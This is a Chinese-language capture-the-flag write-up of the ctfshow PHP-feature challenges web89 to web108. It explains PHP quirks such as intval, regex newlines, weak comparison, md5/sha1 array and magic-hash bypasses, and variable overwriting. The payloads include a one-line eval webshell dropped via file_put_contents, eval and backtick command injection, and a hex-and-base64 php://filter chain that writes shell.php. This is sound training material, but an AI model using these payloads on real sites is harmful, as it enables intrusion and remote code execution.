php特性


web89

  • 描述: 开始php特性系列了,师傅们,冲冲冲!
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}

inteval()函数在官方文档中写有: 失败返回0, 空的array返回0, 非空的array返回1; preg_match()函数在传入数组会直接返回0; 于是payload:

?num[]=1

web90

  • 描述: 同上
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}

intval( $value, $base )在官方文档中定义为: 如果base是0, 通过检测value的格式来决定使用的进制

image-20240708151442915

于是我们可以构造以下payload:

?num=010574
?num=0x117c

而且因为我们提交的参数值默认就是字符串类型, 还可以随便加上一个字符

?num=4476a
?num=4476%23

web91

  • 描述: 同上

本题为换行解析漏洞, 可以先查看此文章再做题

if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

/i表示匹配大小写, /m表示多行匹配 , "行首"元字符 ^ 仅匹配字符串的开始位置, 而"行末"元字符 $ 仅匹配字符串末尾,字符^$同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true; 所以本关程序是要求我们多行匹配到php但是单行匹配不到php。

所以只需要加上一个换行符%0a就能解决这个问题, payload

?cmd=1%0aphp

web92

  • 描述: 同上
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}

解题方法: 可以用16进制和8进制绕过, 但是这里优先介绍新的方法:

intval($value, $base)函数如果$base为0则$value中存在字母的话遇到字母就停止读取, 但是只增加一个字母是不能绕过弱等于判断

而e作为科学计数法的特征可以不用于科学记数法(被截断了), 所以我们构造的payload为

?num=4476e2

web93

  • 描述: 同上
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}

同web90, 直接用8进制就能绕过了, 还可以用小数(通过intval()函数变为int类型)

?num=010574
?num=4476.1

web94

  • 描述: 同上
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}

在web93的基础上过滤了开头为0的数字, 这样的话就不能使用进制转换来进行操作

strpos() - 函数查找字符串在另一字符串中第一次出现的位置。
stripos() - 查找字符串在另一字符串中第一次出现的位置, 不区分大小写
strripos() - 查找字符串在另一字符串中最后一次出现的位置, 不区分大小写
strrpos() - 查找字符串在另一字符串中最后一次出现的位置, 区分大小写

我们可以使用小数点来进行操作, 这样通过intval()函数就可以变为int类型的4476; 还可以利用前面加空格或者+的方式规避第一个字符是0的问题

?num=4476.0
?num= 010574
?num=+4476.0

web95

  • 描述: 同上
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}

过滤掉了点, 同时将强等于变为弱等于, 构造的payload如下

?num= 010574
?num=+010574

web96

  • 描述: 同上
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}

反正都是当前目录下的文件, 客气些什么. payload:

?u=./flag.php
?u=php://filter/resource=flag.php
?u=/var/www/html/flag.php

web97

  • 描述: 同上
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
}else{
print 'Wrong.';
}

a和b不相同但是md5值相同, 经典的数组绕过, 或者是直接构造相等的md5值(fastcoll_v1.0.0.5)

md5和sha1对一个数组进行加密将返回NULL, 而NULL===NULL返回true, 所以可绕过判断

a[]=1&b[]=2
或者
a=flag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%17%28%22WT%96g+%00%E6R%006I%FFL%0D%13u%07W%16%02%D4%15BCR%93%2F%16%D0V%F3%F7%E0%DC%0BI%21K%0E%C6%01%F0%D9%E3%408v%9BK%60%E0%95%8D%AF%28%1Fr%DD%E15%FA%23%9BZl%92b%B2%ED%93%E4%0D%8C%F7%FF%0F%1F%B4%ED%B1d%17F%1E1%D3%1AvK%ECF%DE%EB%EEm%9EX%F4%16%E4%D0%C82TWo%24fj%11Oap%CB%CCNL%96%E0%5D%18%19%8Ds%DE&b=flag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%17%28%22WT%96g+%00%E6R%006I%FFL%0D%13u%87W%16%02%D4%15BCR%93%2F%16%D0V%F3%F7%E0%DC%0BI%21K%0E%C6%01%F0Y%E4%408v%9BK%60%E0%95%8D%AF%28%1F%F2%DD%E15%FA%23%9BZl%92b%B2%ED%93%E4%0D%8C%F7%FF%0F%1F%B4%ED%B1%E4%17F%1E1%D3%1AvK%ECF%DE%EB%EEm%9EX%F4%16%E4%D0%C82TWo%A4ej%11Oap%CB%CCNL%96%E0%5D%98%19%8Ds%DE

web98

  • 描述: 同上
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

只要有输入的GET参数就将POST方法的值赋值给GET方法(修改了get方法的地址), 如果GET进来的HTTP_FLAG值是flag,那么输出$flag,要不然输源代码

但但是我们可以直接控制POST的值, 于是我们可以用POST传参HTTP_FLAG=flag

虽然注意到直接利用GET传入_是不可行的, 但是经过测试发现传入任何东西都行, 例如?1都能用

image-20240722225734752

web99

  • 描述: 同上
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

源代码: 生成一个随机数数组, 如果传入的n在数组中, 将通过POST请求传递的content数据写入由URL中n参数指定的文件中

in_array()函数有漏洞, 没有设置第三个参数时为弱类型比较, 就可以形成自动转换eg: n=1.php自动转换为1

所以可以通过GET传入1.php然后利用content传入一句话木马进行写马, 直接访问即可

GET: ?n=1.php
POST: content=<?php @eval($_POST['cmd']);?>

web100

  • 描述: 后面可能停留几天,将条目理顺一些
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

检查v1,v2,v3是否都是数字, 且v2不包含分号, 但v3包含分号时, 执行$v2('ctfshow')$v3

已知PHP中运算符优先级的排列为

&&  ||  =   and   or
//从左往右,从高到低

所以判断是否都是数字的时候, 仅仅只能判断v1是否是数字, and后面全都被忽略了, 所以可以确定v1和v3

现在可以执行命令或者注释掉后面代码再自己构造

第一种方法: 自己构造执行(构造一句话等, 解法为非预期):

?v1=1&v2=eval($_POST[cmd])?>%23&v3=;
?v1=1&v2=echo `ls`?>&v3=;
# 直接执行也行

flag不在flag36d.php中, 在ctfshow.php

image-20240722235023637

<!--?php
class ctfshow{
var $dalaoA,$dalaoB,$flag_is_fa150d4a0x2d78570x2d49cc0x2d8c520x2de8bcca93ccdb;
}
#('ctfshow');-->

至于为什么看着不像flag, 因为-在这里表示为0x2d, 替换一下就好了

第二种方法: php反射或者相关函数(var_dump函数)

?v1=21&v2=var_dump($ctfshow)/*&v3=*/;		# 官方解
?v1=1&v2=var_dump($ctfshow)&v3=;
?v1=1&v2=print_r($ctfshow)?>&v3=;
?v1=1&v2=var_export($ctfshow)?>&v3=;
?v1=1&v2=echo new ReflectionClass&v3=;
# 实际执行: eval("echo new ReflectionClass('ctfshow');");

php反射这个工具允许你在运行时检查对象的属性和方法, 甚至可以调用它们; 反射 API 由一系列类组成, 这些类使得PHP代码能够获取关于类、接口、函数、方法和扩展的信息, 并在运行时动态调用它们; 常见的反射类有:

  • ReflectionClass: 用于检查类, 可以获取类的名称、父类、接口、方法、属性等信息
  • ReflectionMethod: 用于检查类的方法,可以获取方法的名称、参数、访问级别等信息,并可以调用该方法
  • ReflectionProperty: 用于检查类的属性,可以获取属性的名称、访问级别等信息,并可以读取或设置属性值
  • ReflectionFunction: 用于检查函数,包括内置函数和用户定义的函数
# 示例
<?php
class MyClass {
public $publicProperty = 'Public';
protected $protectedProperty = 'Protected';
private $privateProperty = 'Private';

public function myPublicMethod() {
return 'Public method';
}

protected function myProtectedMethod() {
return 'Protected method';
}

private function myPrivateMethod() {
return 'Private method';
}
}

$reflectionClass = new ReflectionClass('MyClass');

# 获取类的属性
$properties = $reflectionClass->getProperties();
foreach ($properties as $property) {
echo $property->getName() . "\n";
}

# 调用公共方法
$instance = $reflectionClass->newInstance();
$method = $reflectionClass->getMethod('myPublicMethod');
echo $method->invoke($instance) . "\n";

# 尝试调用受保护或私有方法(这通常不是一个好的做法,除非有特别需要)
$protectedMethod = $reflectionClass->getMethod('myProtectedMethod');
$protectedMethod->setAccessible(true); // 设置为可访问
echo $protectedMethod->invoke($instance) . "\n";

# 类似地,可以调用私有方法
?>

var_dump()是一个PHP函数,用于输出变量的详细信息; 当您使用var_dump()打印一个变量时, 它会显示变量的类型和值; 如果变量是一个数组或对象, var_dump()还会递归地显示数组的元素或对象的属性, 以及这些元素的类型

print_rvar_export都是输出内容的函数

反射类(Reflection Classes)是PHP反射API的一部分, var_dump()是一个 PHP 函数

web101

  • 描述: 修补100题非预期,替换0x2d
  • 提示: 最后一位需要爆破16次,题目给的flag少一位

这里的非预期指的是var_dump()和执行一句话马的两个解法

//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

反射类还是可以用的(flag是变量名):

?v1=1&v2=echo new ReflectionClass&v3=;

但是你说的对, 第二种解法是序列化:

?v1=1&v2=echo(serialize(new%20ctfshow&v3=));

web102

  • 描述: 换个姿势
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}

判断v2和v3是否都是数字(仅生效v2), 在v2中截取从第三个字符开始的子字符串赋值给s, 将s作为参数传入v1指定的函数, 将函数的返回值赋给变量str; 最后将str的返回值写入到以v3命名的文件中

call_user_func 是 PHP 中的一个函数,它允许你调用一个回调函数,并且动态地将参数传递给该回调函数

function myFunction($name) {  
echo "Hello, " . $name . "!";
}

call_user_func("myFunction", "World");
// 输出: Hello, World!

file_put_contents作为文件包含利用点刚在web87见过, 第一个参数是文件名,第二个参数是需要写进文件中的内容, 文件名支持伪协议

所以v1要是一个函数, v2是一个纯数字组成的字符串, v3是一个文件名或用伪协议(我用伪协议)

利用hex2bin可以将16进制转换为ascii码, 所以v1=hex2bin; v3伪协议, 所以v3=php://filter/write=convert.base64-decode/resource=shell.php

v2就是将一句话木马进行base64编码后再进行十六进制编码, 注意substr的字符截取从0开始

原: <?=`cat *`;
base64: PD89YGNhdCAqYDs= # 如果出现=是可以去掉的, 填充不影响加解密
hex(None): 5044383959474e6864434171594473

e会被当作科学记数法的标志, 所以这个字符串依然是数字

所以payload如下, 让问shell.php即可

GET: v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=shell.php
POST: v1=hex2bin

如果是PHP5,则可以不用伪协议; payload如下:

php5中is_numeric函数识别16进制数,而php7不识别16进制数

v2=003c3f3d636174202a3b&v3=1.php
post:v1=hex2bin

web103

  • 描述: 换个姿势
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

上题的基础上给v2加了一层过滤, 用于过滤在任何位置出现的.php, v2参数路径如下:

hex -> substr()+call_user_func() -> base64 -> preg_match() -> file_put_contents()

不过很显然, base64加密后不存在.php这种东西, 所以继续用上一题payload即可

web104

  • 描述: 同上
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}

你认为是sha1碰撞, 但是明显没有判断是否相等, 传入相同的东西给v1和v2就可以了

或者sha1和md5一样不能处理数组, 那就传入数组即可

还有0e绕过

md5:
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

sha1:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

web105

  • 描述: 同上
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

php的变量覆盖, 直接将用户输入用作变量名, 可能导致变量覆盖问题

检查GET传参key不等于error的时候执行$$key=$$value, 意为"一个变量其名称由$key的值决定", value同理; 检查POST传参value不等于flag的时候执行相同操作, 最后检查传入的flag是都等于$flag, 如果是, 输出flag

因为变量覆盖可以是任意的, 可以利用判定失败中的die($error), 利用这一点输出flag, payload:

GET: ?suces=flag 
POST: error=suces
# 或
GET: ?1=flag
POST: error=1

也可以用die($suces), 将$flag赋值给$suces, 然后赋值$flag为空即可满足$_POST['flag']==$flag payload:

GET: ?suces=flag&flag=
# 或
GET: ?suces=flag
POST: flag=

web106

  • 描述: 同上
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}

判断加回来了, 那就用数组和0e绕过就行了

web107

  • 描述: 同上
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}

parse_str函数将字符串$v1解析为变量并存储到数组$v2中, 从解析后的数组$v2中获取的flag参数值, 检查该参数是否等于$v3经过md5加密的值, 满足条件输出flag

parse_str("name=John&age=30", $output);  
print_r($output);

输出如下

Array ( [name] => John [age] => 30 )

本题完全不用绕过乱七八糟的东西, payload:

GET: ?v3=240610708 
POST: v1=flag=0

web108

  • 描述: 同上
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

ereg函数与preg_match都是正则, 在PHP 5.3.0后已被废弃, 且不支持强比较(但是本题确实有用)

用正则判断参数c中是否包含大小写字母, 为否则结束程序; 然后用 strrev 反转参数 c 的值, 然后使用 intval 将结果转换为整数, 并与十六进制数 0x36d(十进制为877)进行比较; 这意味着, 为了通过这个检查, 用户需要提供一个字符串, 该字符串反转后的整数表示必须等于877, 但是显然没有这样的字符串

那么只能绕过ereg函数, 随便一搜就能看到有%00截断漏洞

ereg函数用指定的模式搜索一个字符串中指定的字符串, 如果匹配成功返回true, 否则返回false; 搜索字母的字符是大小写敏感的

所以payload为:

?c=a%00778